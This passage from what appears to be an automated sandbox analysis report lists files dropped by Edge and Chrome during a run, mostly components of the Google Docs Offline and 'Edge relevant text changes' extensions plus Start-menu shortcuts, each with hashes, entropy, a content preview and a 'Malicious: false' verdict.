Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1615171256\7dc9915d-8b45-4e36-84c8-6c65da5e2b68.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1615171256\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1615171256\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1615171256\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1615171256\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 11 19:59:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.973991278181693
Encrypted:	false
SSDEEP:	48:8xdmTCqmwHfpidAKZdA19ehwiZUklqeh+xy+3:8iDmGb/xy
MD5:	C89779AE727FD4FDF77C25A345CEFD4C
SHA1:	0872AB343161DE468D3C092FF1A913F142867E0E
SHA-256:	61EA1E41C27A9E43165C35C5FA4944363CCFFF2F8C35881D2E09D8E18D1A1139
SHA-512:	258AD820D6B47B5F7DC92AEBD031BB63EFAF41926B7045117BEEC7601BCC77EDA39AD2E27DFB3C1C17839547B18E924BB10DBBAC0204E7952DA1D6D66436CF27
Malicious:	false
Preview:	L..................F.@.. ...$+.,........\|4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkYb.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkYb.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkYb.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkYb............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VkYc............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............7!.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 11 19:59:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
